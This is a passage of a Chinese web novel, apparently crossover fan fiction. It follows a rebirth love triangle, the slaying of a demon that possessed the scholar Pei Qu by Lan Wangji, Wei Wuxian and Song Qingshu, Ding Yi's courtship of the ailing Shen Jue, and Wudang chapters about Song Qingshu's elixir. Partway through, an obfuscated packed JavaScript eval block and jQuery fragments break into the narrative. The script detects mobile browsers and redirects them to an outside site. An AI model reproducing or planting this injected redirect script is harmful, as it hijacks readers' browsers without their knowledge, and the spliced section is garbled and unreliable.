而廊下的丁仪,望着那扇门,又看了看失魂落魄的谢晚,心中那点因沈玦醒来并主动留下的隐秘喜悦,却被那句“自会离开”和他眼中万念俱灰的空寂,蒙上了一层浓重的不安。 事情,似乎并未完全按照她预想的方向发展。 风过庭院,吹动芭蕉阔叶,沙沙作响,更添寂静。 沈玦那扇门关上时发出的轻微“咔哒”声,像一记重锤,狠狠砸在谢晚紧绷的心弦上。与她无关了。他说,与她无关了。前世今生的画面在她脑中疯狂翻搅——他呕血而亡的惨状,他遗书上淋漓的血字,他方才空茫死寂的眼神……不,不能这样!绝不能让他再走向那个结局! “沈玦!”她几乎是扑到门前,用力拍打着坚实的木料,声音嘶哑破碎,“你出来!你听我说!丁仪她不是真心对你好,她会害死你的!我……”她语无伦次,巨大的恐慌让她口不择言,“我知道!我真的知道!我见过!你会死的!沈玦——!” “谢娘子!”丁仪疾步上前,一把攥住谢晚的手腕,力道之大,让谢晚吃痛地闷哼一声。丁仪脸上惯有的温婉早已被冰冷取代,眼底翻涌着怒意与一丝被冒犯的戾气,“沈公子需要静养,请你离开!再胡言乱语,休怪我不客气!” “你知道什么?!你根本什么都不知道!”谢晚猛地甩开丁仪的手,赤红着眼瞪向她,前世沈玦被丁府下人像丢垃圾一样抬出来的画面刺激着她,“你只是把他当作新奇玩意儿!玩腻了就会随手扔掉!你会毁了他!” “够了!”丁仪厉声喝断,她从未在外人面前如此失态,但谢晚字字句句都像淬毒的针,扎在她心头那点连自己都不愿正视的异样情绪上,让她又恼又怒,“他是我的客人,是去是留,轮不到你来置喙!谢晚,你再不离开,我便让人‘请’你出去!” 两人剑拔弩张,空气中弥漫着浓浓的火药味。谢晚胸脯剧烈起伏,看着丁仪眼中毫不掩饰的占有欲和强势,再想到屋里那个心死如灰、决意与她一刀两断的沈玦,绝望如同冰冷的潮水,灭顶而来。她张了张嘴,那句压在舌尖、重逾千钧的真相几乎要冲破喉咙—— “我重活了一世!我亲眼看见他死在你手里!” 就在这时,一直隐在廊柱阴影处、仿佛被遗忘的裴渠,几不可察地动了动。 他低垂着头,额前碎发遮住了那双总是漾着温柔水光的琥珀色眼眸。无人看见,他眼底深处,一抹极淡的、不属于人类的暗红幽光倏然闪过,又迅速湮灭。 快了。这蠢女人,果然被逼到绝境,差点就要吐出那最关键的“重生”之秘。那正是他等待多时、滋养修复这具羸弱凡人躯壳与受损魔魂最精纯的养料——属于逆转时空者的特殊魂力。 附身在这叫裴渠的书生身上已有数月,他小心掩饰,缓慢吸收着这方天地的稀薄灵气,同时不动声色地搜寻着“异常”。谢晚,这个身上带着微弱时空涟漪的女人,是他最大的发现,也是他恢复力量的关键。他设计接近,救命之恩,温文表象,挑拨离间……一切都在按计划进行。本想再等等,等她与沈玦彻底反目,等她心神失守、魂力激荡最剧烈时再动手,摄取效果最佳。 但方才谢晚濒临崩溃,几乎要自曝重生之秘,那瞬间她魂力波动的异常强烈,虽未完全释放,却也让他这具身体的魔魂核心一阵悸动,险些压制不住本能。 不能再等了。夜长梦多。沈玦的决绝离开,丁仪的强势介入,谢晚此刻心神大乱、悔恨交加,正是魂力最不稳定、也最容易被牵引剥离的绝佳时机。虽然比预想的早了些,效果或许会打折扣,但总好过让她有机会冷静下来,或是……被那屋里死气沉沉却莫名让他感觉一丝不安的沈玦干扰。 得手后,立刻远遁,觅地消化。至于这谢家、丁家、还有那病秧子的死活,与他何干? 主意既定,裴渠,或者说,藏身于裴渠皮囊之下的魔物缓缓抬起头。脸上依旧是那副温润如玉、略带忧色的书生模样,甚至因为“担忧”谢晚,而显得脸色微微发白。他向前走了几步,似是想要劝解。 “谢娘子,丁小姐,二位何必……”他声音清润,带着恰到好处的恳切。 然而,就在他看似无意地靠近谢晚身侧,袖中手指悄然屈起,指尖一缕肉眼难辨的暗红魔气如毒蛇吐信,悄无声息地袭向谢晚后心,准备一举攫取那诱人的重生魂力时—— 异变陡生! “邪魔外道,安敢伤人!” 一声清冽冷叱,如玉石相击,骤然划破别庄上空凝滞的空气!与此同时,一道湛蓝如秋水的剑光,挟着凛冽冰寒之气,自东南角竹林之上惊鸿般掠至,精准无比地斩向裴渠那只探出的、缠绕着魔气的手! 剑光未至,那森然剑意已激得裴渠周身汗毛倒竖,魔魂警铃大作!他骇然变色,再也顾不得伪装,手腕一翻,那缕暗红魔气瞬间暴涨,化作一只狰狞鬼爪,硬生生迎上那道蓝色剑光! “锵——!” 金铁交鸣般的巨响炸开,气浪翻涌,震得院中花木摧折,尘土飞扬!裴渠闷哼一声,连退数步,袖口破碎,露出的手臂皮肤下竟有暗红纹路一闪而逝,他惊疑不定地看向剑光来处。 谢晚和丁仪也被这突如其来的变故惊呆了,愕然望去。 只见竹林梢头,不知何时立着三道身影。 当先一人,白衣若雪,抹额飘飞,容颜清冷俊极,周身笼罩着一层不容亵渎的冰寒气息,手持一柄通体湛蓝、光华流转的古剑,正是方才出手之人。他目光如电,锁定了裴渠,冷冽之中带着审视与凛然正气。 其身侧,一个身着黑衣、身形颀长的青年抱臂而立,嘴角噙着一丝玩世不恭的弧度,眉眼飞扬,手中随意转着一管乌黑笛子,眼神却锐利如鹰,打量着下方混乱的局面,尤其在裴渠身上停留片刻,挑了挑眉:“哟,藏得够深啊,这味儿……可不怎么新鲜。” 第三人则是个青衫道袍的年轻男子,面容端正,此刻正凝神观察着院中情形,目光扫过惊魂未定的谢晚和一脸震怒茫然的丁仪,最后也落在裴渠身上,沉声道:“魔气附体,夺舍凡人,祸乱人间,其罪当诛!” 这三人,正是云游至此、察觉此地有异常魔气波动而赶来的蓝忘机、魏无羡与宋青书。 裴渠心中剧震,脸色难看至极。他没想到在这等偏僻凡俗之地,竟会引来如此厉害的修真之人!看这剑气,这眼力,绝非寻常散修!尤其是那白衣人和黑衣青年,给他一种深不可测的危险感。 “几位……道友,”裴渠强自镇定,迅速收敛魔气,试图维持裴渠的皮囊,拱手道,“在下不知何处得罪,为何无故出手伤人?此地乃丁尚书别院,还请……” “闭嘴。”魏无羡嗤笑一声,打断他的狡辩,手中陈情笛尖轻轻一点,“你那身腌臜魔气,隔二里地都闻见了,还装什么读书人?说说,附在这倒霉书生身上,想干什么坏事?是不是冲着那位娘子来的?”他下巴朝谢晚方向抬了抬。 谢晚此刻已从最初的震惊中回过神来,看着空中那三个气度非凡、宛如神仙中人的男子,又看看脸色变幻不定的裴渠,一个可怕的猜想浮上心头——裴渠……是魔?他接近自己,别有目的?难道和自己重生有关? 她想起裴渠出现得“恰到好处”,想起他温文表象下偶尔流露的深不可测,想起他对沈玦不动声色的排挤……一股寒意从脚底直窜头顶! 蓝忘机并不废话,避尘剑微微抬起,剑尖蓝光吞吐,锁定裴渠周身气机,显然随时准备再次出手。宋青书也已手按剑柄,气机勃发。 裴渠(魔物)心知伪装已被彻底看穿,再难善了。他眼中暗红光芒大盛,脸上那温润书生的皮相如同蜡油般微微融化扭曲,露出底下狰狞怨毒的魔魂本质,声音也变得嘶哑难听:“多管闲事!坏我好事,便要你们付出代价!” 话音未落,他身形猛地暴起,却不是攻向空中三人,而是直扑近在咫尺、魂力对他仍有莫大吸引力的谢晚!五指成爪,暗红魔气狂涌,竟是要强行摄魂夺魄! “小心!”丁仪失声惊呼,下意识想挡,却已不及。 “找死!” 蓝忘机眸光一寒,避尘剑化作一道惊天蓝虹,后发先至,直刺裴渠后心!魏无羡手中陈情笛发出一声尖锐厉啸,无形音波如同实质,笼罩向裴渠头颅! 他二人同时出手,声势骇人! 裴渠(魔物)怪叫一声,不得不回身抵挡,魔气与剑光、音波、道法轰然对撞,发出震耳欲聋的爆响!整座送玉斋乃至小半个别庄都在剧烈震动,瓦砾簌簌落下! 谢晚被气浪掀翻在地,头晕目眩,耳朵嗡嗡作响,只能死死抱住头。丁仪也被波及,踉跄后退,花容失色。 混乱之中,谁也没有注意到,那扇紧闭的房门,悄无声息地打开了一条缝隙。 沈玦不知何时已站在门后,静静地看着庭院中这场超乎想象的仙魔 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“嗤啦——!” 仿佛滚油泼雪,又似裂帛碎玉,那暗红魔魂在至正至阳的力量剿杀下,发出一连串令人牙酸的湮灭之声,迅速消融、溃散,最终化作几缕顽抗的残烟,被魏无羡随手召出的几道符箓彻底打散、净化。 魔物伏诛,庭院中令人窒息的阴邪气息随之一空。阳光重新显得明媚,只是满地狼藉、断裂的花木、焦黑的痕迹,昭示着方才发生的惊心动魄。 裴渠的躯体软软倒地,已然气绝,面色青灰,显然在被魔物附身期间早已被侵蚀掏空了生机。 谢晚瘫坐在地,怔怔地望着裴渠的尸体,又看看空中缓缓落下的那三位宛如谪仙的男子,脑中一片空白。魔?裴渠真的是魔?他救她,接近她,陷害沈玦……都是为了她身上那所谓的“重生魂力”?自己重活的秘密,竟然招来了这等邪物?那前世的悲剧,今生的波折,有多少是这魔物暗中推波助澜?又有多少,是她自己……一念之差,步步走错? 巨大的荒谬感与后怕席卷了她,但紧接着,是更深的、冰寒刺骨的绝望。即便没有这魔物,她和沈玦之间,早已隔了前世今生的猜忌、伤害、羞辱与决绝的“桥归桥路归路”。沈玦不会再信她了。丁仪不会放人。而她,亲手将最后一点挽回的可能,葬送在了自己的多疑、冲动和那可笑的自以为是里。 悔恨,如同最毒辣的藤蔓,骤然勒紧了她的心脏,缠住了她的魂魄。余生漫漫,她将永远活在这无间地狱般的自责与追悔里。连重活一次的机会,都被她糟蹋得如此彻底。 另一边,宋青书在魔物伏诛的刹那,身形微微一晃,额角渗出细汗,但眼神却比之前清明坚定了许多。他深吸一口气,对蓝忘机和魏无羡郑重一揖:“多谢二位道友。此前……在下心绪时常莫名躁动,偶有难以自制之念,如今魔气消散,方知是受此残留气息影响,险些误入歧途。” 想到自己可能因魔气干扰而做下错事,他面色微白。 魏无羡拍拍他肩膀,浑不在意道:“嗐,被这种阴险玩意附身过的家伙影响,不丢人。现在干净了就好。” 蓝忘机亦微微颔首,清冷的目光扫过院中,确认再无魔气残留,最后落在丁仪和谢晚身上,微微蹙眉。此间事了,凡俗恩怨,他们不便过多插手。 无人察觉,就在那魔魂被彻底击散、爆开最后一团浓浊魔气的瞬间,有一丝极其隐晦、近乎虚无的暗红气息,借着气浪翻滚和众人注意力分散的刹那,如同拥有生命般,悄无声息地钻入了离得较近、正心神剧震的丁仪袖中,顺着她的手腕皮肤,一闪而没。 丁仪当时只觉腕上微微一凉,似有微风拂过,并未在意。她的全副心神,此刻都被另一件事占据——门内那个沉默的人,以及她自己心中,那惊涛骇浪般的醒悟与情愫。 两日前,当她在“枕流阁”独自对镜时,一段截然不同的人生记忆如同决堤洪水,轰然冲入脑海!前世的她,骄纵任性,视沈玦为有趣的清玩,索来,狎弄,厌倦后便随意丢弃,任其自生自灭。她记得他最后被抬出丁府时了无生气的模样,记得后来隐约听说他回到谢府后不久便郁郁而终。起初她并不在意,不过是个无关紧要的玩物罢了。 直到……直到后来丁家卷入争斗,大厦将倾,墙倒众人推。她狼狈逃离,途中遭遇仇家埋伏,生死一线之际,竟是那个早已被她遗忘、以为早已死去的沈玦,如同鬼魅般出现,用他那单薄病弱的身躯,为她挡下了致命一刀!温热的血溅在她脸上,他倒在她怀里,气息微弱,却用那双依旧沉静的黑眸看着她,没有怨恨,没有爱慕,只有一片空寂的淡然,和一丝几不可察的……解脱。 他说:“丁小姐,这一刀,还你当日援手之情。两清了。” 然后,他便在她怀中,气息断绝。 那一刻,丁仪如遭雷击!从前不屑一顾的种种细节翻涌心头——他宁折不弯的沉默,他洞悉一切的冷淡,他病骨支离下的那一丝残存风骨……还有,他最后为她而死时,那荒谬的“两清”。 玩物?到底谁才是被玩弄于股掌、至死未曾看透的那一个? 滔天的悔恨、迟来的认知、以及一种连她自己都无法理解的、混杂着痛惜与强烈占有欲的情感,在她重生后的这两日里,疯狂滋长,几乎要将她吞没。所以她才急切地派人去寻沈玦,所以看到谢晚将他逼至那般境地时才会怒不可遏,所以方才听到谢晚喊出“你会害死他”时,才会那般心悸慌乱。 此刻,魔氛已散,外人暂且搁置。丁仪深吸一口气,再也按捺不住,转身疾步走向那扇依旧闭着的房门。她没有敲门,直接推门而入。 室内药香未散,沈玦依旧靠坐在窗边软榻上,姿势与她离开时几乎无二,只是脸色似乎更白了些,目光落在虚空,仿佛外面那场惊天动地的战斗、那些仙魔之姿、那些恩怨纠葛,都与他毫无干系。 丁仪走到他面前,停下。她看着他苍白的侧脸,看着他紧抿的、毫无血色的唇,看着他周身弥漫的那种万念俱灰的空寂,心口那陌生的抽痛再次袭来,比之前任何一次都要清晰猛烈。 她缓缓蹲下身,让自己的视线与他平齐。这个动作于她而言,是从未有过的低姿态。 “沈玦,”她开口,声音带着一丝不易察觉的颤抖,不再是那种刻意拿捏的温婉,而是某种更为直白、甚至带着痛楚的情绪,“你说得对。” 沈玦眼睫微动,却并未看她。 “开始……我确实将你当作玩物。”丁仪一字一句,说得艰难,却异常清晰,仿佛要将这迟来的忏悔刻进骨髓,“对你不好,随意索取,随意丢弃……我以为那没什么。” 她顿了顿,声音更哑:“直到后来,你为我而死。” 沈玦的身体几不可察地僵了一下。 “你替我挡了那一刀……在我怀里断了气。”丁仪闭上眼,复又睁开,眼中水光氤氲,却强忍着没有落下,“你说,‘两清了’。” 她伸出手,似乎想去触碰他的手,却在即将触及的瞬间停住,手指蜷缩回来。 “那一刻我才明白,我错得有多离谱。你不是玩物,从来都不是。”她的声音低了下去,带着一种从未有过的、近乎卑微的恳切,“这一世……我也是,喜欢上了你。” “不是玩弄,不是好奇。”她看着他,试图望进他那片沉寂的眼底,“是真的……心悦于你。” 室内一片死寂。只有窗外风吹过残破庭院的细微声响,以及远处隐约传来的、谢晚压抑不住的、绝望的啜泣。 沈玦终于缓缓转动眼珠,看向了蹲在自己面前的丁仪。她眼中是前所未有的认真、痛悔与情意,不再是那种居高临下的打量或带着趣味的探究。 他看了她很久,久到丁仪几乎以为他不会回应。 然后,他极其轻微地,扯动了一下嘴角。那不是一个笑容,更像是一个疲惫的、洞悉了所有荒唐的弧度。 “丁小姐,”他声音低哑,平静无波,“前世之事,我一点不知。” “至于今生……” 他移开目光,重新望向窗外那片狼藉却依旧有阳光洒落的庭院,声音轻得仿佛叹息,又重得如同判词。 “太迟了。” 无论是谢晚的悔恨,还是丁仪的忏悔与迟来的“喜欢”,于他而言,都已掀不起半分波澜。 他的心,早在谢府凉亭里,听到“休书”二字时;早在决然说出“桥归桥,路归路”时;或许更早,在丁仪口中说的前世呕出最后一口鲜血时,便已经彻底死去了。 如今留在这躯壳里的,不过是一缕无所归依、倦怠至极的残魂罢了。 爱恨情仇,前世今生,于他,都已无关。 也……太迟了。 41. 云深客至渡危澜4 送玉斋中那场混杂着仙魔、前尘、悔恨与决绝的风暴,最终以魔物伏诛、几人各怀心事的沉寂告终。 沈玦在说出“太迟了”三个字后,便彻底闭上了眼,再不肯吐露一言。丁仪在他榻前默立许久,看着他苍白脸上那副拒人于千里之外的倦怠,心口抽痛,却也无计可施。她知道,有些伤痕,非言语与眼泪可弥补。 蓝忘机与魏无羡确认再无魔气残留,又见此地凡俗恩怨纠葛甚深,不便久留。魏无羡临走前,倒是对沈玦多看了一眼,嘀咕了句“这凡人小哥,神魂倒是稳得异乎寻常,经过这般折腾竟无溃散之象”,被蓝忘机淡淡一瞥止住了话头。 宋青书则因除去附身魔气的隐患,又见谢晚失魂落魄、丁仪情愫复杂,沈玦更是心死如灰,暗叹一声孽缘,随蓝魏二人一同离去。 情爱一事,实难自已。 蓝忘机只将几枚清心宁神的普通玉符赠予丁仪,嘱她置于屋内。 谢晚不知何时已独自离开,背影踉跄,如同被抽去了脊骨。 几日后,沈玦能勉强下地,便向丁仪辞行。丁仪百般挽留,甚至坦言自己重生后的悔悟与情意,眼神恳切灼人。沈玦只是安静听着,末了,依旧摇头。 “丁小姐,”他声音平淡,不起波澜,“前尘已矣,无需挂怀。你的愧疚,沈某心领。但愧疚并非情爱,亦难长久。沈某残躯,不堪匹配,亦无心再涉情爱之事。就此别过,望自珍重。” 说罢,不顾丁仪瞬间苍白的面色和眼中骤聚的水光,执意离去。他孑然一身,除了几件旧衣,几卷残书,别无长物。 他去了城外三十里,一处偏僻的山坳。那里有他母亲娘家留下的一间几乎被遗忘的旧木屋,背靠青山,面朝一小片荒芜的菜畦,不远处有溪水流过,人迹罕至。 木屋久无人居,积尘甚厚,漏雨透风。沈玦花了些时日,默默修补屋顶,清扫庭除,开垦了屋后一小块荒地,种了些易活的菜蔬。日子清苦至极,他却奇异地感到一丝安宁。没有猜忌的目光,没有权衡的算计,没有令人窒息的“关怀”与“情意”。只有山风,溪声,草木枯荣。 情爱太伤人,他是一点儿也不想沾了。丁仪说的那些话,他并非全然不信其中或有几分真。但正如他所言,愧疚催生的怜惜与迟来的“喜欢”,又能坚持多久?当新鲜感过去,当他的病弱成为真正的拖累,当现实琐碎消磨掉那点因“救命之恩”和“前世亏欠”而生的光环,剩下的,或许又是另一场厌倦与背离。 他累了。只想守着这方寸天地,了此残生。胸口的滞闷疼痛依旧时常造访,咳血的毛病也未根除,但他已不在意。这具躯壳何时油尽灯枯,便何时归于尘土,干净利落。 然而,他想要的清净,并未持续太久。 约莫半月后的一个清晨,沈玦推开吱呀作响的木门,准备去溪边取水,却愕然发现,紧邻着他这片小小篱笆院的东侧空地上,不知何时,竟立起了一座崭新的木屋! 样式与他这间旧屋相仿,却明显用料更扎实,做工也更精细,窗明几净,甚至还围起了一圈小巧的竹篱,种上了几丛正值花期的野菊。一个穿着粗布衣裙、却难掩通身清雅气质的女子,正挽着袖子,有些笨拙地试图将一盆清水端进屋内,正是丁仪。 见到沈玦出来,丁仪动作一顿,脸上飞快掠过一丝窘迫,随即扬起一个努力显得自然的笑容,额角还沾着一点木屑:“早、早啊。这地方……挺清净的。” 沈玦沉默地看着她,看着她与这山野粗陋环境格格不入的容颜和气质,看着她眼中那份小心翼翼的试探与不容错辨的坚持,心中并无多少波澜,只有更深一层的疲惫与无奈。 “丁小姐这是何意?”他问,语气平淡。 丁仪放下水盆,擦了擦手,走到竹篱边,隔着稀疏的篱笆望向他,眼神清澈而执拗:“我说了,这一世,我是真的心悦于你。不是愧疚,不是补偿。”她顿了顿,声音低了些,却更坚定,“我知道你不信,也不想再要。没关系。你可以继续过你的日子,就当……就当旁边多了个邻居。我不会打扰你,只是……想离你近一些。” 她指了指新木屋:“我自己修的……嗯,主要是我看着匠人修的。我会照顾自己,也会……学着照顾这里。”她看了一眼荒芜的菜畦和空荡的院子,补充道,“剩下的,就给时间吧。” 沈玦不再说话,转身回了屋,关上了门。 丁仪看着那扇紧闭的旧木门,咬了咬下唇,眼中闪过一丝黯然,却并未气馁。她转身回到自己的新屋,开始笨手笨脚地收拾。她从未做过这些粗活,打水会洒,生火熏得眼泪直流,尝试做饭更是差点烧了厨房。但她咬着牙,一点点学。仆从都被她严令留在山外,非召不得入内。她要让沈玦看到她的决心,看到她的改变,不是那个高高在上、随意摆布他人的丁府千金。 日子一天天过去。沈玦依旧沉默地过着他的日子,种菜,读书,偶尔咳得撕心裂肺。丁仪则像一个最固执的邻居,保持着恰当的距离,却又无处不在。 她会在沈玦咳嗽剧烈时,“恰好”将王大夫新配的、药性更温和的药材放在他门外的石墩上。她会在他去溪边时,“偶然”遇见,递上一篮子自己尝试烤制、虽然卖相不佳但勉强能入口的饼子。她学着辨认野菜,偷偷将他开垦过的菜地打理得更整齐,除虫浇水。甚至有一次,沈玦旧疾突发,昏倒在屋后,是她第一个发现,不顾一切将他背回屋内,守了一夜,喂水擦汗,直到他苏醒。 沈玦醒来时,看到她趴在床边睡着,眼下带着青黑,衣裙沾着泥污,手里还攥着一块湿布。他静静看了片刻,移开目光。 他依旧很少与她说话,对她的种种举动,大多沉默以对,或只是淡淡一句“多谢”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109860|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但丁仪能感觉到,那层坚冰并非毫无松动。至少,他不再明确赶她走;至少,他偶尔会接受她放在门口的食物或药材;至少,他昏倒时,没有拒绝她的照顾。 对她而言,这已足够。她看着他清瘦的背影,看着他专注侍弄菜苗时的侧脸,看着他偶尔对着一卷书出神时微蹙的眉头,心中那份情感,非但没有因他的冷淡而消退,反而如春草般,顽强地滋长,越来越清晰,越来越深入骨髓。 她开始真正懂得,喜欢一个人,不仅仅是心动与占有,更是心疼他的伤痛,尊重他的选择,守护他的宁静,甚至……愿意为他洗尽铅华,扎根在这荒僻山野,只为能离他近一些,再近一些。 她不确定这是否就是爱,但她知道,她已无法将目光从他身上移开。剩下的,就交给时间吧。她有的是一生,可以慢慢等,慢慢磨,慢慢让他相信,这一次,她是真的。 …… 与此同时,已远在千里之外、某处灵气盎然山谷中暂歇的蓝忘机与魏无羡,收到了宋青书传来的平安讯息,并附上了一小截看似普通、却隐有灵力波动的桃木枝。 讯息中,宋青书提到自己受魔气影响时的一些混沌记忆已彻底理清,心魔尽去,道心反而更见稳固。他偶然发现,自己体内残留的、属于那个世界的一丝特异灵力,竟对修复魏无羡因修炼诡道而有些滞涩的经脉有奇效,已助其梳理通畅。为表谢意,也因即将继续远游探寻归途,他留下这截自幼佩戴、受师门香火熏陶的桃木,或许对蓝忘机研究此界灵气与彼世差异有所助益。 随讯息一同送达的,还有几本蓝忘机先前默写赠予的、他所在世界的医书典籍。宋青书在附言中道:“贵界医理精深奥妙,与我之道法亦有相通之处,阅之获益良多。无以为报,谨以微末之技,略尽绵薄。山高水长,后会有期。” 魏无羡把玩着那截温润的桃木枝,对蓝忘机笑道:“蓝湛,这宋小友倒是知恩图报。你那几本医书,看来没白给。” 他活动了一下手腕,感觉前所未有的松快,“别说,他那法子还真有点门道,我这陈年旧账似的经脉,舒服多了。” 蓝忘机接过桃木枝,细细感应其上微弱却纯净的灵力波动,又翻开那几本曾被宋青书仔细翻阅、边角甚至添了些许清正注解的医书,清冷的眸中闪过一丝几不可察的柔和。 “嗯。”他应了一声,将书仔细收好,“此间事了,明日便回。” “好嘞!”魏无羡伸了个懒腰,望着谷外流云,眼中闪过一丝对未知旅程的期待。 山风拂过,草木清香。不同的世界,不同的人,各自走在自己的命途之上,或舔舐伤痕,或执着守候,或继续前行。缘起缘灭,聚散离合,便是如此。 而沈玦木屋窗台上,不知何时,多了一盆丁仪悄悄放下的、带着晨露的兰草,在简陋的环境中,倔强地舒展着一抹幽碧。 42. 光明汇聚一线天 宋青书炼丹成功那日,武当山紫霄宫后的丹房里飘出异香,经久不散。他小心翼翼地将七颗莹白如玉的丹药装入青瓷瓶,指尖微微发颤——这是他以蓝忘机所赠的那几卷医书为本,辅以武当秘传心法,耗费三年光阴才得的成果。 “净尘丹。”他低声念出这个名字,眼前浮现起书中那句玄妙的话:“涤荡浊气,如月洗秋空。” 宋远桥服下丹药的第七日,正在庭院中练剑。晨曦微露时,他一招“白云出岫”使到一半,剑尖忽地嗡鸣震颤,原本流转如意的真气竟在经脉中奔涌起来,仿佛山涧冲破阻滞,刹那间通达百骸。他收势而立,怔怔看着自己的手掌——掌心纹理间隐隐有光华流转,那是内力精纯到极的征兆。 “爹觉得如何?”宋青书轻声问道。 宋远桥缓缓吐出一口浊气,他望向宋青书的眼神复杂难言,“青书,你可知这丹药若传出去,会在江湖掀起怎样的风波?” 这话很快得到了应验。俞莲舟服丹后第三日,闭关时周身三尺积雪无风自散;张松溪在棋盘前沉吟时,指尖棋子悄然化作齑粉;殷梨亭练剑时剑光凝实如练,惊飞满山雀鸟。 几人皆受此丹惠泽。 而俞岱岩呢? 剑很沉。他的手在抖。 但当他闭目回想年少时学的那套“清风十三式”,身体竟自然而然地动了起来。剑尖划破空气的声音生涩却坚定,一招,两招……到第七招时,剑风已能卷起地上落叶。 宋远桥等人站在远处看着,个个热泪盈眶。殷梨亭低声道:“三哥的功力,该恢复三成了罢?” “不止。”俞莲舟目光如炬,“你看他步伐虽缓,却暗合八卦方位;剑气虽弱,已有圆转之意。” 可宋青书始终没有拿出净尘丹给三叔。 不是舍不得。恰恰相反,他太想给了。想看看三师叔服丹后能否彻底摆脱那十多年的阴影,恢复全部的武功,恢复武当俞三侠昔日的荣光。 但他不敢。 蓝前辈的医书最后一页的批注,那字迹较前面潦草许多,似是一气呵成:“至清无鱼,至纯易折。涤荡之法,当留三分余地。” 净尘丹以涤荡为要,会将体内一切杂质——包括那些沉淀多年、已成身体一部分的‘旧力’——尽数洗去。师叔们根基深厚,可借机破而后立。但三师叔经脉初愈,若洗涤太过,恐如新芽遇霜雪…… 宋青书闭上眼,想起前日给俞岱岩把脉时,指尖触到的那股虽微弱却坚韧的生机。像石缝里挣扎长出的草芽,经不起狂风暴雨,只能慢慢等,慢慢长。 “青书。” 张三丰的声音在身后响起。宋青书转身,见太师父不知何时已站在廊下,白须在晨风里微微飘动,那双阅尽百载沧桑的眼眸正静静看着他手中的玉瓶。 “太师父。”宋青书躬身行礼。 张三丰走过来,目光落在那两只青玉瓶上,良久,缓缓道:“这丹药,你一直收着?” “是。”宋青书低头,“还剩两颗。一颗……本是想留给三师叔的,但弟子担心他经脉初愈,受不住药力。” “你做得对。”张三丰伸手,轻轻拍了拍他肩膀,那手掌温暖而宽厚,带着一种令人安心的力量,“岱岩的伤,急不得。这十几年来,他虽身不能动,心却一直在练剑。如今经脉重塑,那些沉淀的领悟正一点点化入武道。若此时以丹药强行洗涤,反而会毁了他这二十年苦修的心得。” 宋青书心头一震,抬眼看向太师父。 张三丰微微一笑,那笑容里有种洞察一切的清明:“你以为,这三年岱岩的恢复,全靠你的医术?” “青书……” “医者医身,武道修心。”张三丰望向真武殿的方向,目光悠远,“你这孩子,把太多责任揽在自己身上了。岱岩能恢复四成功力,三分靠他自己这二十年未曾放弃的意志,七分靠你的医术。至于丹药……”他摇摇头,“外力终究是外力。” 说着,他伸手从宋青书手中取过那玉瓶,打开瓶塞。异香瞬间弥漫开来,却又被老人袍袖一挥,轻轻拢住,未散出去半分。 “好丹药。”张三丰赞了一句,却将瓶塞重新塞好,放回宋青书手中,“但我不需要。” 宋青书怔住:“太师父,这丹药能助内力更加精纯……” “内力精纯,靠的是日复一日的修炼,是心境澄明,是对武道的领悟。”张三丰声音平和,却字字如钟,“若靠丹药外力,便是走了捷径。捷径走多了,路就歪了。” 他顿了顿,看向宋青书:“你炼丹的本意是好的,助你父亲和师叔们突破瓶颈,也是功德。但切记——丹药是药,不是道。医者以药救人,武者以心求道,不可本末倒置。” “青书明白了。”宋青书淡淡地答道。 和太师父的每一次谈话,他都会明白一些东西。 便在这片淡淡的浅浅的喜悦中,长日如水般向前流淌。 忽一日。 宋远桥推开儿子房门时,宋青书正对着一盏孤灯出神。案上摊着那卷蓝忘机赠的医书,旁边是厚厚一叠手稿,墨迹未干,在烛光下泛着湿润的光泽。窗外,武当山的夜风穿过竹林,发出沙沙的声响,衬得屋内愈发寂静。 “青书。” 宋青书回过神来,起身行礼:“爹。” 宋远桥在桌对面坐下,目光扫过那些医书和手稿。这三年来,儿子的变化他都看在眼里——从前的张扬骄傲不见了,取而代之的是一种近乎疏离的沉静。 甚至连山门都少出,每日不是泡在药房,就是对着医书发呆。 “峨眉派灭绝师太来了。”宋远桥开口,声音在寂静的屋里显得格外清晰,“邀武同赴光明顶。” 宋青书指尖微微一颤,随即恢复平静:“太师父的意思呢?” “师父不愿妄动刀兵,但六派齐出,武当若不去,日后在武林中难以立足。”宋远桥顿了顿,目光落在儿子脸上,“此次由我带队,莲舟、松溪、梨亭、声谷同往。你三师叔留在山中。” 烛火噼啪炸响一声。宋青书垂着眼,长睫在眼下投出浅浅的阴影。他想起前世——也是这样的夜晚,父亲来找他,问他可愿同去。那时他欣喜若狂,心中满是扬名立万的渴望。而今生…… “青书明白。”他低声说,“山中事务,弟子会协助三叔料理。” 宋远桥没有接话。屋内陷入一阵难言的沉默,只有烛火摇曳,将两人的影子投在墙上,晃晃悠悠的。 良久,宋远桥忽然开口:“青书,你这几年……太过沉静了。” 声音里带着一种宋青书从未听过的、深藏的忧虑。 “医道需静心,弟子只是……” 宋远桥打断他,语气罕见地温和,“我想起你少年时,总爱缠着你二师叔学剑,一套‘流云剑法’三天就练得有模有样,如今却整日与药炉银针为伴。”“我并非是不喜你学医……” 他顿了顿,手指无意识地摩挲着茶杯边缘:“为父这些年来忙于派务,对你多有疏忽。如今看你……看你性子越发僻静清冷,心里……心里不由得有些担心。” 最后这句话说得极轻,却砸在宋青书心上。 他猛地抬眼,看见父亲眼中那种深藏的、几乎从不表露的忧色——不是为了武当,不是为了江湖,只是为了他这个儿子。 父亲原来是担心他了。 “爹……”他喉咙发紧,不知该说什么。 宋远桥看着他,忽然道:“此去光明顶,你随我们同去吧。” 不是询问,是陈述。 宋青书怔住。 “可我……”宋青书未说完的话还是没能说的出口。 “弟子武功尽废,手无缚鸡之力,去了恐怕拖累爹和师叔们。”宋青书垂下眼,他的声音转了一个向最终归于平静。 “说什么拖累!”门外忽然响起殷梨亭的声音。 身后跟着张松溪和莫声谷,俞莲舟抱臂立在廊下,月光将他的影子拉得很长。 殷梨亭走到宋青书面前,用力拍拍他肩膀:“青书,你当我们这些师叔是摆设?!” 